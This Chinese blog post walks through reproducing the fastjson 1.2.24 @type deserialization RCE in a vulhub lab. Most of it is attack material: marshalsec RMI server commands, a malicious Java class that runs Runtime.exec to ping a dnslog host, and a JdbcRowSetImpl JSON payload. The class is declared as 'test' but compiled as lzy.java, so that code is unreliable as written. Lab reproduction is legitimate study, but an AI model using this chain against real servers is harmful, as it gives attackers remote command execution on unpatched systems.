我是靠谱客的博主 娇气小鸭子,最近开发中收集的这篇文章主要介绍fastjson 1.2.24漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

原理

fastjson由于没有对@type进行安全性验证,使攻击者传入危险的类,通过rmi服务指定的攻击机上的恶意class文件,导致命令执行。

版本

1.2.24

环境准备

靶机:ubuntu,192.168.52.129

攻击机:kali,192.168.52.128

复现步骤:

1、靶机下载启动漏洞环境

git clone https://github.com/vulhub/vulhub.git        

cd vulhub/fastjson/1.2.24-rce        进入vulhub目录

docker-compose up -d                 启动漏洞环境


此时能够访问192.168.52.129:8090

2、攻击机利用python快速开启http服务

python -m http.server 80 

3、攻击机编译并开启RMI服务

下载marshalsec:
git clone https://github.com/mbechler/marshalsec.git
安装maven:
apt-get install maven

使用maven编译marshalsec成jar包,先进入下载的marshalsec文件中:

mvn clean package -DskipTests

启动一个RMI服务器,设置监听端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.128/#lzy" 9999

注意文件名前的#

4、制作恶意class文件

import java.lang.Runtime;
import java.lang.Process;

public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"ping", "-c", "pdbe23.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译成class

javac lzy.java

此时生成了lzy.class文件

5、bp抓包

把GET修改成POST,添加POC

{
"b":{
          "@type":"com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName":"rmi://192.168.52.128:9999/lzy",
          "autoCommit":true
    }
}

 查看dnslog,复现成功

 

最后

以上就是娇气小鸭子为你收集整理的fastjson 1.2.24漏洞复现的全部内容,希望文章能够帮你解决fastjson 1.2.24漏洞复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部